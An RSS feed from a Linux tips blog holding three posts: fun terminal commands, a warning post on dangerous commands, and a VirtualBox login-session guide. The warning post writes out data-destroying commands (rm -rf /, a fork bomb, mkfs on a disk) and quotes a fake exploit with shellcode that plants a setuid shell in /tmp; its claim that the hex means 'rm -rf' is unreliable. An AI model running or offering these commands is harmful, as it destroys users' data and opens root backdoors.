<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Quick Tweaks &#187; commands</title>
	<atom:link href="http://www.quicktweaks.com/tag/commands/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.quicktweaks.com</link>
	<description>Quick Tweaks For Your System</description>
	<lastBuildDate>Tue, 27 Sep 2011 05:41:32 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>10 Linux commands for fun</title>
		<link>http://www.quicktweaks.com/2009/11/26/10-linux-commands-for-fun/</link>
		<comments>http://www.quicktweaks.com/2009/11/26/10-linux-commands-for-fun/#comments</comments>
		<pubDate>Thu, 26 Nov 2009 22:09:46 +0000</pubDate>
		<dc:creator>ashokgelal</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Terminal]]></category>
		<category><![CDATA[commands]]></category>
		<category><![CDATA[fun]]></category>

		<guid isPermaLink="false">http://www.quicktweaks.com/?p=309</guid>
		<description><![CDATA[Here are few Linux commands you can play with for fun. Some of these might be helpful in certain situations but I've compiled them here so that you can play with it, appreciate the power of Linux commands, or just show off your Linux skills to your friends.


No related posts.

Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>Here are few Linux commands you can play with for fun. Some of these might be helpful in certain situations but I&#8217;ve compiled them here so that you can play with it, appreciate the power of Linux commands, or just show off your Linux skills to your friends.</p>
<p><span id="more-309"></span>Let me warn you first &#8211; these commands are not for newbies, those who just started using Linux or for those who want to start with Linux terminal.</p>
<p style="text-align: center;"><script type="text/javascript"><!--
google_ad_client = "pub-0816309066023726";
google_ad_slot = "7783831711";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>
<h3><span style="color: #ff6600;">#1 Browse and display images in Terminal</span></h3>
<p>Browse and display images in Terminal? Yes! To browse the images in the current directory:<br />
<code>$ sudo zgv</code><br />
To browse the images in /home/username/pictures directory:<br />
<code>$ sudo zgv <em>/home/username/pictures</em></code></p>
<p>Note: If you get any mouse not initialized message, just unplug your mouse, type <em>zgv </em>and plug your mouse back</p>
<h3><span style="color: #ff6600;">#2 Burn a CD/DVD/BluRay Disk<br />
</span></h3>
<p>Llet’s add a small twist; make an ISO image of a large folder and burn them to a CD/DVD.<br />
Crate an ISO image (myISOFile) out of a folder (or filename)<br />
<code>$ mkisofs –r –o <em>myISOFile.ISO folderOrFilename</em></code><br />
Now burn the above ISO image to a CD/DVD<br />
<code>$ cdrecord --device=<em>cdwriter-device</em> -tao -eject <em>myISOFile.ISO</em></code></p>
<h3><span style="color: #ff6600;">#3 Create ASCII text graphics</span></h3>
<p>What about creating some ASCII graphics such as the following? You can paste it in your email as a signature to impress your friends <img src='http://www.quicktweaks.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<pre> _     _
| |   (_)_ __  _   ___  __
| |   | | '_ \| | | \ \/ /
| |___| | | | | |_| |&gt;  &lt;
|_____|_|_| |_|\__,_/_/\_\</pre>
<p><code>$ figlet <em>Linux</em></code><br />
This is displayed with the default font, to use other fonts, give a font name after switch f:<br />
<code>$ figlet <em>quick tweaks</em> –f <em>script</em></code></p>
<pre><strong>                      _                            _
             o       | |                          | |
 __,             __  | |    _|_          _   __,  | |   ,
/  |  |   |  |  /    |/_)    |  |  |  |_|/  /  |  |/_) / \_
\_/|_/ \_/|_/|_/\___/| \_/   |_/ \/ \/  |__/\_/|_/| \_/ \/
   |\
   |/    

</strong><code>$ figlet <em>Quick Tweaks</em> –f <em>script</em></code></pre>
<pre>  _ \       _)      |    __ __|                   |
 |   | |   | |  __| |  /    |\ \  \   / _ \  _` | |  /  __|
 |   | |   | | (      &lt;     | \ \  \ /  __/ (   |   &lt; \__ \
 \__\_\\__,_|_|\___|_|\_\  _|  \_/\_/ \___|\__,_|_|\_\____/</pre>
<p>The fonts for <em>figlet </em>are installed in <strong>/usr/share/figlet</strong> directory</p>
<h3><span style="color: #ff6600;">#4 Run remote applications in full GUI mode<br />
</span></h3>
<p>As a Computer Science student, I often need access my lab computers (which have Fedora installed) through SSH. After I submit my assignments, esp. those GUI based programming assignments, I wanted to check if everything is fine. Accessing remote computer is easy:<br />
<code>$ ssh <em>username@example.com</em></code><br />
If you want to run remote applications such as OpenOffice or Eclipse, just uncomment <strong><code>ForwardX11 yes</code></strong> in <strong>/etc/ssh/ssh_config</strong> file. After that if you type, eclipse, for an example, the remote application will run in full GUI mode.</p>
<h3><span style="color: #ff6600;">#5 Split a large file into several pieces (for easy copy)<br />
</span></h3>
<p>If you have a large file of about 1 GB size and have two CDs to spare (or two thumb drives of 512 MB each), how can you carry that 1GB file?<br />
<code>$ split –b<em>500m</em> <em>myBigFile</em> <em>mySmallFIles</em>.</code><br />
To join the smaller files to get the big files back:<br />
<code>$ cat <em>mySmallFiles</em>.* &gt; <em>myBigFile</em></code></p>
<h3><span style="color: #ff6600;">#6 Take screenshot of a rectangular area and save it as png file</span></h3>
<div id="attachment_51" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.quicktweaks.com/wp-content/uploads/2008/10/myscreenshot.png"><img class="size-medium wp-image-51" title="myscreenshot" src="http://www.quicktweaks.com/wp-content/uploads/2008/10/myscreenshot-300x144.png" alt="My Screenshot" width="300" height="144" /></a><p class="wp-caption-text">Screenshot taken with import command</p></div>
<p><code>$ import –frame <em>myScreenShot.png</em></code></p>
<p>After this command, the mouse pointer changes to a set of cross-hairs; left-click and drag the mouse across an area of the screen and release the mouse to capture the selected area.</p>
<h3><span style="color: #ff6600;">#7 Resize an image, put a border around it, and add a comment</span></h3>
<p><code>$mogrify -geometry <em>300x200</em> -border <em>8x8</em> -comment “<em>Windows Sucks</em>” <em>myScreenShot.png</em></code></p>
<h3><span style="color: #ff6600;">#8 Quickly converting a .wav file to a .mp3 file<br />
</span></h3>
<p><code>$ lame <em>myMusicFile.wav myMusicFile.mp3</em></code></p>
<h3><span style="color: #ff6600;">#9 Display a nicely formatted calendar (or doing some quick maths?)<br />
</span></h3>
<p><code>$ cal <em>1972</em></code></p>
<p>Get the factorial of 10</p>
<p><code>$ calc <em>10!</em></code></p>
<h3><span style="color: #ff6600;">#10 Mirror a website to your computer for offline browsing</span></h3>
<p><code>$ wget -mk <em>http://example.com</em></code></p>
<p style="text-align: center;"><script type="text/javascript"><!--
google_ad_client = "pub-0816309066023726";
google_ad_slot = "7783831711";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>


<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.quicktweaks.com/2009/11/26/10-linux-commands-for-fun/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Fun with Linux Commands-II &#8211; With Power Comes Responsibility</title>
		<link>http://www.quicktweaks.com/2008/10/24/fun-with-linux-commands-ii-with-power-comes-responsibility/</link>
		<comments>http://www.quicktweaks.com/2008/10/24/fun-with-linux-commands-ii-with-power-comes-responsibility/#comments</comments>
		<pubDate>Sat, 25 Oct 2008 02:43:04 +0000</pubDate>
		<dc:creator>ashokgelal</dc:creator>
				<category><![CDATA[TerminalFunFive]]></category>
		<category><![CDATA[commands]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Terminal]]></category>

		<guid isPermaLink="false">http://www.quicktweaks.com/?p=244</guid>
		<description><![CDATA[Happy Linux Commanding! But be careful! The heading is self-explanatory. Linux Terminal seems dump but nothing is more clever than it. Linux is powerful and fun. When it is about something&#8217;s strength remember what Uncle Ben said. When you are new to Linux you often seek to get help from others and almost most of [...]


No related posts.

Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>Happy Linux Commanding! But be careful!</p>
<p>The heading is self-explanatory. Linux Terminal seems dump but nothing is more clever than it. Linux is powerful and fun. When it is about something&#8217;s strength remember what <a title="Uncle Ben says Linux is powerful ;-)" href="http://www.imdb.com/title/tt0145487/quotes" target="_blank">Uncle Ben said</a>.</p>
<p>When you are new to Linux you often seek to get help from others and almost most of the advices you get will be in the form of some commands such as<code> ps, top, modprobe, lspci</code> etc. Be careful when you run these commands as some <a title="Harmful tips for Linux" href="http://linsux.org/index.php?topic=96.0" target="_blank">Anti-Linux a**holes try to fool new Linux users in the name of tips and tutorials</a>.If after following such command(s), you lose all your files, no one is to be blamed but you.</p>
<p><span id="more-244"></span></p>
<p>If you want save yourself, here is one principle: Be aware of what you are doing! Just don&#8217;t do what someone suggest you. Fireup <em>man</em> page, look what the command is about. This way you can learn a couple of more options too. If you are in doubt about the commands, go to a couple of forums and put all information you have such as: <strong>Hello I was trying to do this, and a guy from <em>forum.xyz.com</em> suggest me to issue this command. I suspect this is a harmful command. Any suggestions?</strong> Take my words, Linux carries a strong spirit with it &#8211; spirit to share knowledge. And you will get some good explanatory suggestions very quickly. If you are still in doubt, I suggest you to issue the commands inside virtual OS:</p>
<p style="text-align: center;"><script type="text/javascript"><!--
google_ad_client = "pub-0816309066023726";
google_ad_slot = "7783831711";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>
<p>Last thing first. Today I will be posting some harmful Linux commands. DO NOT ISSUE THESE COMMANDS! These commands are just for your information. These commands are not made for making harm to your computer, but with a couple of options it can be very dangerous. After all Linux doesn&#8217;t know that a folder inside your home directory contains your first girlfriend&#8217;s picture! It is your duty to ensure they are safe. Let&#8217;s get started. I repeat <strong>DON&#8217;T ISSUE THESE COMMANDS</strong>. If you want to test, I suggest you to run them inside a virtual Linux OS.</p>
<p>1. The king of all devils:</p>
<p><code>rm -rf /</code></p>
<p>Q. What does <em>rm</em> do?</p>
<p>A. Removes a file</p>
<p>Q. What is <em>r</em>?</p>
<p>A. Recursion. That means inside a folder, of a folder, of a folder and so on</p>
<p>Q. what is <em>f</em>?</p>
<p>A. Force. It means you are saying to the command<em> &#8220;Never ask me anything. Just do what you want to do&#8221;</em></p>
<p>Q. What is <em>/</em></p>
<p>A. Your <em>ROOT</em> directory!</p>
<p>See what it does? <em>Recursively removes all the files inside your root directory without nagging you &#8211; &#8220;Should I delete this?&#8221;<br />
</em><br />
There are various versions of <em>rm</em> available such as:</p>
<p><em>rm -rf .<br />
rm -rf *</em></p>
<p>Not only someone from outside, you yourself can screw up things sometimes. Little knowledge is dangerous! How about this &#8211; you want to delete all the hidden files inside a directory. That&#8217;s easy right? Hidden files are denoted with <strong>.</strong> in front so you might be thinking this command <strong><code>rm - .*</code></strong> Nooooooooooo!!! It will delete all the files one level up of the current directory.</p>
<p>2. How about backing up your home directory or some folders? Never try to do anything such as:</p>
<p><code>mv /home/yourhomedirectory/* /dev/null</code></p>
<p>Q. What is <em>mv</em>?</p>
<p>A. Move files</p>
<p>Q. What is <em>dev/null</em>?</p>
<p>A. Null means nothing. In other words, it is a black-hole.</p>
<p>If you issue above command, it will move all the files inside your home directory to a blackhole.</p>
<p>3. Linux Terminal is not a toy to play, it&#8217;s something to learn and do some productive things. I just mean to warn you don&#8217;t type anything silly and hit enter such as this:</p>
<p><code> <img src='http://www.quicktweaks.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> ){:|:&amp;};:</code></p>
<p>Those seem like emoticons but they are actually shell programming stuffs and have special meaning. The above command executes different process freezing your computer and you will get a BSOD, a sort of! <img src='http://www.quicktweaks.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>4. How about making a Linux filesystem?</p>
<p><code>mkfs.ext3 /dev/sda</code></p>
<p>You hard disk&#8217;s data are gone, and will never come back again. That was a poor farewell party for your documents.</p>
<p>5. Do you know eyes and your knowledge both can lie? Well sometimes. What do you see in the following C file written by someone claiming <a title="sudo off-by-one poc exploit" href="http://seclists.org/fulldisclosure/2007/Aug/0071.html" target="_blank">New sudo off-by-one poc exploit</a>? Any sign of devil?</p>
<blockquote><p><code>...</code></p>
<p>char esp[] __attribute__ ((section(&#8220;.text&#8221;))) /* e.s.p<br />
release */<br />
= &#8220;\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68&#8243;<br />
&#8220;\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99&#8243;<br />
&#8220;\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7&#8243;<br />
&#8220;\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56&#8243;<br />
&#8220;\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31&#8243;<br />
&#8220;\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69&#8243;<br />
&#8220;\x6e\x2f\x73\x68\x00\x2d\x63\x00&#8243;<br />
&#8220;cp -p /bin/sh /tmp/.beyond; chmod 4755<br />
/tmp/.beyond;&#8221;;</p>
<p>&#8230;</p></blockquote>
<p>Well this is a hex coded version of <code><strong>rm -rf ~ / &amp;</strong></code> . This does nothing more than wiping off your home directory.</p>
<p>These are only a few guidelines you need to follow. If you know some more, drop them in comments.</p>
<p>If you want to learn Linux, conquer its power, have fun, and be productive, you need to be careful, helpful, and share your knowledge. If you have any knowledge on Linux that you want to share, let us know in comments or shoot me an email.</p>
<p>So what did you learn today?</p>
<p style="text-align: center;"><script type="text/javascript"><!--
google_ad_client = "pub-0816309066023726";
google_ad_slot = "7783831711";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>


<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.quicktweaks.com/2008/10/24/fun-with-linux-commands-ii-with-power-comes-responsibility/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Run your virtual OS directly from GDM in Ubuntu</title>
		<link>http://www.quicktweaks.com/2008/10/14/run-your-virtual-os-directly-from-gdm-in-ubuntu/</link>
		<comments>http://www.quicktweaks.com/2008/10/14/run-your-virtual-os-directly-from-gdm-in-ubuntu/#comments</comments>
		<pubDate>Tue, 14 Oct 2008 16:12:46 +0000</pubDate>
		<dc:creator>ashokgelal</dc:creator>
				<category><![CDATA[Desktop]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[Terminal]]></category>
		<category><![CDATA[commands]]></category>
		<category><![CDATA[gdm]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[tool]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[virtualbox]]></category>
		<category><![CDATA[windows xp]]></category>
		<category><![CDATA[xorg]]></category>
		<category><![CDATA[xserver]]></category>

		<guid isPermaLink="false">http://www.quicktweaks.com/?p=154</guid>
		<description><![CDATA[If you regularly run a couple of OS from your VirtualBox and want to login to those OS directly from GDM session, here is a quick way to do it. For this to work you should have already set up your VirtualBox. Here we won't be talking about how to setup VirtualBox but only how to login to a virtual OS from GDM session. 


No related posts.

Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>If you regularly run a couple of OS from your VirtualBox and want to login to those OS directly from GDM session, here is a quick way to do it. For this to work you should have already set up your VirtualBox. Here we won&#8217;t be talking about how to setup VirtualBox but only how to login to a virtual OS from GDM session.</p>
<p><span id="more-154"></span></p>
<div class="mceTemp mceIEcenter">
<dl id="attachment_187" class="wp-caption aligncenter" style="width: 472px;">
<dt class="wp-caption-dt"><img class="size-full wp-image-187" title="windowsgdm" src="http://www.quicktweaks.com/wp-content/uploads/2008/10/windowsgdm.png" alt="Windows XP GDM" width="462" height="384" /></dt>
<dd class="wp-caption-dd">Windows XP GDM</dd>
<dt class="wp-caption-dt"></dt>
</dl>
</div>
<p><span style="color: #ff6600;">1. Create a bash script with the following contents</span></p>
<p style="text-align: center;"><script type="text/javascript"><!--
google_ad_client = "pub-0816309066023726";
google_ad_slot = "7783831711";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>
<p><code>#!/bin/bash<br />
VirtualBox -startvm <strong><span style="color: #000000;"><em>NameOfYourVirtualOS</em></span></strong></code></p>
<p>Replace <em><strong><span style="text-decoration: line-through;">y</span><span style="text-decoration: line-through;">ourSUPassword</span></strong></em><span style="text-decoration: line-through;"> with your password, and </span><em><strong>NameOfYourVirtualOS</strong></em> with the name that you have given to your virtual OS in VirtualBox.</p>
<p><span style="color: #ff6600;">2. Name it something like <strong><em>windowsXPGDM</em></strong> (if you want to run Windows XP), make it executable, and then copy it to /usr/bin.</span></p>
<p><code>$ chmod 755 windowsXP</code>GDM<br />
<code>$ sudo cp windowsXPGDM /usr/bin</code></p>
<p><span style="color: #ff6600;">2. Go to <strong><em>/usr/share/xsessions</em></strong> and create a new file with the following contents:</span></p>
<p><code>[Desktop Entry]<br />
Encoding=UTF-8<br />
Name=WindowsXP<br />
Comment=My Virtual WindowsXP<br />
Exec=/usr/bin/windowsXPGDM<br />
Icon=<br />
Type=Application </code></p>
<p><span style="color: #ff6600;">3. Save it with a name something like <em><strong>windowsXP.desktop</strong></em>.</span></p>
<p><span style="color: #ff6600;">4. Log out and you will see a new entry WindowsXP in your GDM session. You can now directly open VirtualBox session without even logging in to your Ubuntu machine.</span></p>
<p style="text-align: center;"><script type="text/javascript"><!--
google_ad_client = "pub-0816309066023726";
google_ad_slot = "7783831711";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>


<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.quicktweaks.com/2008/10/14/run-your-virtual-os-directly-from-gdm-in-ubuntu/feed/</wfw:commentRss>
		<slash:comments>25</slash:comments>
		</item>
	</channel>
</rss>

